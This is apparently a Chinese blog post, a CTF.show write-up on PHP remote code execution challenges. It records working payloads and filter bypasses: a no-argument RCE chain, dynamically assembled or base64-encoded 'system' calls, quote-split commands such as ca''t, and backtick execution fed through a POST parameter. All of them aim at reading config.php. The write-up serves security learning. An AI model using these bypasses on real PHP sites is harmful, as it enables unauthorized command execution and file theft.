2020.04.14
今天写了写CTF.show的题目
遇到了一大堆的RCE的题目
有些操作没见到过。写一写
其实好多都可知利用无参RCE直接写出来的。先回顾一下读取的函数吧
file_get_contents()
print_r
highlight_file
echo
这些都尤其的经常使用
再说说几乎可以过大多数的RCE方法
无参RCE
下面是payload:
file_get_contents(next(array_reverse(scandir(pos(localeconv())))))
pos(localeconv())
:获得点’.’
scandir()
:获取当前目录有啥
array_reverse
:键值反转
再来说说这些题目:
web9
1 | if(preg_match("/system|exec|highlight/i",$c)){ |
要求使用里边三个函数来操作!
补充一下exec
函数的知识
web10
1 |
|
很清晰 过滤了一些函数。但是没有过滤file_get_contnts()
!
所以,payload:print_r(file_get_contents('config.php'));
第二种方法,使用动态调用 注意 这是绕过的一个好方法
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
flag需要右键查看源代码。
web11
禁用了cat
还有好多的命令!
例如echo
或者 利用ca''t
过滤
这里是因为 再Linux命令中, ''
可以绕过!
web12
这里是代码注入!不是命令执行!
所以我们的命令是可以进行编码绕过的!这很关键!
1 |
|
$a = base64_decode('c3lzdGVt');
这里编码system
$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');
这里编码命令
$a($b);
动态调用代码!
同时还有一种方法:
在Linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
比如 cat ls
相当于将 ls出来的结果cat
1 | ?c=passthru(" ca''t `ls`"); |
web13
先看看代码
1 |
|
注意代码注入!
恶心的把小括号都过滤了! 那咋办嘛
这又有一个新方法!
1 | ?c=echo `$_POST[1]` |
然后再post传入
1=cat config.php
备注:
大都时候我们使用system()
等函数执行系统命令,在一些的严格正则匹配情况下,过滤掉了大多数的命令执行函数,但是PHP有执行运算符,也就是反引号,和shell_exec()
system()
一样,可以执行系统命令。
https://www.php.net/manual/zh/language.operators.execution.php
但是,反引号执行却没有任何回显
这也就是为什么前面需要用到echo
函数!
web15
先看代码
1 |
|
1、编码绕过 因为过滤了( 所以大多数的函数都用不了
2、执行系统命令 反引号 echo 输出 echo没绕过
3、名字过滤 利用POST传参
1 | POST /?c=echo%20`$_POST[2]`; |
如果想直接输出目录下! 请用上述的方法!
总结一下
动态调用
无参RCE
POST传参
反引号命令执行
shell里面’’无用
今天就写到这吧
好迷茫啊。到底应该学什么!!!!
- 本文标题:CTFTF_RCE专题
- 创建时间:2020-04-14 14:48:00
- 本文链接:2020/04/14/四月/CTFTF-RCE专题/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!